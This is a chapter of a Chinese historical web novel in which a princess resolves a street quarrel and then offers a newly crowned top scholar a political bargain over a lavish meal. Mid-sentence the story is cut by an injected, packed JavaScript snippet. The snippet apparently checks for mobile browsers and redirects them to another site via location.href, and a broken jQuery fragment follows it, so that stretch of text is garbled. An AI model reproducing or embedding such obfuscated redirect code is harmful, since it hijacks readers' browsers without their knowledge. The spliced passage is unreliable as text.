万山载雪一纸名动京

4. 红粤密阁

    萧晏舟沐浴后已是三更天,滴漏声声,在寂寥的暗夜中分外清明。


    烛影摇曳翩跹,像是火焰的蝴蝶破茧,朝着冬夜最温暖的地方扑火而去。


    第二天,旭日初升,一道道光透过市坊街道。


    晨雾未散,朦胧中的日光撕破晨雾,映照在每个早起讨生活的人脸上,又是初升的希望。


    早朝结束,萧晏舟正要顺路去魏府拜访。


    一阵喧闹响起,人潮涌动散入街道,逼得行进中的马车不得不仓促停下。


    彼时的萧晏舟正依靠在弥漫着沉水香的马车中阖眼休息,猝不及防停下,来不及反应,猛的向车厢撞去。


    秋霜只听闷哼一声,立马掀开帘子走近,脑袋那已经肿了大包,淤青还未显现。


    此情此景,秋霜只觉气愤不已,正要下车找人理论,还没转头就被萧晏舟拉住。


    “算了我没事,快陪我下去看看前面发生什么事。”


    “那好吧。”语气中还是有点闷闷的不高兴。


    凑近人围成的人墙一看,一阵清润但是不显焦急的声音浸入耳膜,萧晏舟自觉些熟悉。


    “大家听我说,我只是恰好路过。离这位小哥且有一丈之距,哪知他突然倒下,还说他腿疼。如果大家不相信,可以去报官,现在最重要是他的腿,应该马上找大夫,这是一条人命啊!”


    只见地上还躺着一位少年,紧紧环抱自己双腿不停翻滚,鬓边频频冒汗,眉头紧皱,痛苦不似作假。


    “这年头,芝麻粒的官都护,报官还是我们这些老百姓吃亏。”一位大娘指手画脚,白眼乱飞,小声和周围的人说。


    “这位大娘,我把身份牌压这,先让我的侍读去请大夫,再去报官怎么样?”


    侍读南风闻言就朝医馆去。


    这大娘只是想小声蛐蛐,没想到被当事人听了去,一时无地自容,脸涨得通红 ,只好嘴硬反驳:“那那那……万一大夫……也被你收买了呢?”


    当事人顿时无语,再开口时已经带上了想打人的冲动,咬牙切齿:“那就把全上京的大夫都找来,一个一个看,我有的是时间跟你们耗,但是这个人没有时间了。”


    眼看情况不妙,萧晏舟一声招呼都不打,自顾自走至倒地不起的少年旁,挽起裙摆,为他诊脉。


    秋霜焦急却又不得其法,这人就是这样,想一出是一出。


    看清这个女子想要干什么时,一时间周围的人都停下争吵,嘘声禁言,等她一个结果。


    很快,萧晏舟抬起头,说出了自己的诊断结果:“只是暂时腿部痉挛,属于突发性病症,跟这位完全没有关系,更多的还需要医师诊治。”


    误会解除,大部分人觉得没热闹可看,陆陆续续离开。只有小部分人守望着,包括那位咄咄逼人的大娘。


    她斜挎着菜篮,扭捏着身躯,白眼斜瞅偷瞥着萧晏舟:“谁知道你俩不是一伙的。”


    一听这话,祝辞不乐意了,一改之前的温润儒雅,挽起墨玉青袖就想开口和这大娘白扯,不等开口,身体就被一双纤纤玉手拦住。


    萧晏舟凑近附耳:“我来同她说。”


    说着走近大娘,轻声耳语:“他是如今的新科状元,皇上眼前的红人,报官对你没好处,得罪了他,反倒是你吃不了兜着走。”


    大娘脸上露怯,挎着菜篮的松垮皮肤颤抖,小声嘟囔脸红着走开了。


    两人合力把倒地不起的少年扶上马车,南风带着大夫回来为其诊治后,才得短暂缓过。


    喧闹的大街安静下来,两人面面相觑,沉默尴尬。


    祝辞率先打破沉默,主动开口道:“刚刚的事,谢谢你。”


    萧晏舟勾唇,戏谑一笑:“怎么谢呢?红粤楼吃一顿吧。”说着朝红粤楼的方向走去。


    祝辞惊讶,一路趋步,边追边问,世家子弟的温润嗓音回荡在萧晏舟耳后:“你没开玩笑吧,这红粤楼可是就上京最贵的酒楼,吃一顿抵得上我一个月的俸禄了。”


    祝辞喘着粗气,声音断断续续:“上次…还是我帮你说话呢,要不然你这…这赈灾使节…的身份哪来的…,要请也是你请我…才才对。”


    萧晏舟也不等他,继续往前:“扬州首富会在意这点钱?不过我也确实要感谢你,我请就我请。”


    说完萧晏舟转身停下,站在路边等祝辞。


    好一会儿祝辞才赶上,气喘吁吁:“你你干嘛跑那么快,都追不上你。”


    嗤笑一声:“追不上只能说明你太虚了。”


    祝辞想反驳却难掩气喘,反驳毫无说服力。


    幸好红粤楼离这不远,不然祝辞更加难堪。


    两人刚踏入红粤楼门口,一位穿着不凡的小二迎着上来。


    祝辞还没来过,只觉传闻中的红粤楼果然不同凡响。


    连小二穿的都是上好的天香缎,这天香缎,因着颜色出众,只有徐州云浮镇才有特殊的染料才能染出这样暗中流光溢彩的颜色,吸睛而不炫目,物依稀为贵,所以才引得众人追求。可见这红粤楼雄壮的财力。


    思考间,小二已经带着萧晏舟和祝辞往楼上包间走去,看她轻车熟路的样子就知道,是这里的常客。


    祝辞一路走一路看,眼神中满是好奇。


    扬州最大的酒楼和这完全不一样。


    扬州,江南嘛,亭台水榭,得水佳楼。比起酒水,更值得一看的是烟波浩渺的景色,于是成了文人墨客聚集之地,比起上京的酒楼少了一份繁华与喧嚣。


    两人穿堂掠风,一阵清香拂面,祝辞低头看向脚下,这可是草花梨!不仅自带木香,而且枝干纤细,脚底这株得长百十来年!抬眼,头顶上是明晃晃的南海夜明珠,个个抱柱,将整个大堂照耀得亮如白昼。这可叫祝辞开了眼,倒也不甚惊讶,毕竟是扬州首富。


    小二引两人上行至三楼楠木包间,于边角毫不起眼站定:“二位贵客,包间到了,有什么需要随时喊我。”


    萧晏舟点头,小二是个有眼力见的,说完便退下了。


    屋内陈设的奢靡比起外层来更胜一筹,房间随处可见名家字画,祝辞凑近,瞳孔瞬缩,咳嗽两声掩下尴尬,恍若无人又转头打量着四周,心想“这劳什子竟是真的,幸好没碰”。


    上了这儿招牌的酒菜后,两人走进隔间内坐下,望着珍馐美宴,祝辞却只拎起酒杯轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238617|166197||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嗅,这可是上好的云溪泉,十年才得一盅。


    紧盯着汝窑青瓷杯上特制的流云纹道:“费尽心思想要和我单独说话?”


    萧晏舟微微一笑,赞赏道:“不愧是新科状元,新脑子就是好使。”


    祝辞放下酒杯,漫不经心勾起嘴角言道:“公主真会说笑,有话直说罢。”


    萧晏舟眼尾一跳,心想:“真是不好对付。”


    “你都这样说了,我也不好藏着掖着,今日找你是有要事。”


    话未言明,就被狡黠的声音打断:“要事?让我猜猜,要我在谈判时从中做梗,失败后两国纷争四起?还是要我在朝堂中作衬,必要时为你说话。不光如此,如若不应,还要以谈判人选要挟?”


    说着竟从位置上站起,轻倚圆桌,手拿青瓷酒杯轻转,脸上满是觉得自己猜中的骄傲与自信,眼神紧盯萧晏舟,似要从她不动声色的脸上看出端倪。


    萧晏舟只是微微一笑,眼中的赞赏更甚:“能从那么少的事知晓那么多的事,我果然没有看错人。”


    言罢,只见祝辞挺直了腰板,下巴微微上扬,眼中满是不可一世的骄矜,活脱脱的傲娇小孩。


    还没高兴够呢,萧晏舟话锋一转:“但是你猜错了,我只是想告诉你,谈判只能成功,我也会暗中助你。此外,我并没有要你帮衬的意思,朝堂之上做你自己便好。”


    祝辞似乎不相信她的话,瞪大了眼睛,眼中满是无措和疑惑:“我猜错了?不可能啊,话本里就是这么说的。”


    “啊?”萧晏舟惊诧无言,“话本里还说什么了。”


    “话本里还说,后母对继女一点都不好,动辄拳打脚踢,继女长大后回来第一件事就是向后母复仇,大女主爽文。当今皇后是乌苏圣女,你想报复她不就要报复乌苏?谈判失败,皇后处境堪忧,你的目的不就达到了?”


    萧晏舟低垂眉眼,玩弄腰中佩戴的公主令,语气却不经意带着难以言喻的悲伤,用自己才能听到的声音道:“爽文么?为什么我只觉得悲哀。”


    祝辞恍惚间似乎听到了什么,下意识问到:“什么?”


    萧晏舟抬起头,又是坚不可摧的公主,自顾自推开绮窗,凌厉的眸光落在上京正中的占星楼,用两人刚好能听到的声音。


    “红粤楼在上京乃是除了皇家占星楼最高的建筑,占星楼是权,红粤楼是财,可是民在哪?


    不等回答,萧晏舟眸光流转,忽然变得犀利,“民在脚下!占星楼,红粤楼都为民所建,可是无权者进不了占星楼,无财者进不了红粤楼。取之于民 ,却不用之于民!贪婪,徭役,赋税,一桩桩一件件都把百姓往绝路上逼!谈判失败,边关战火纷飞,百姓流离失所,所以谈判只能成功!”


    一番话落地,萧晏舟不等祝辞反应,“我知晓你懂我的意思,我今日前来也不全为了谈判之事,更重要的事是我想同你做个交易。”


    祝辞被一番大话压昏了头脑,没不经思考下意识就问:“什么交易,能帮的我必定竭尽全力。”


    语气俨然已经有答应的姿态,之前的敌意也消失不见。


    “我保你谈判成功,你助我江南水运!”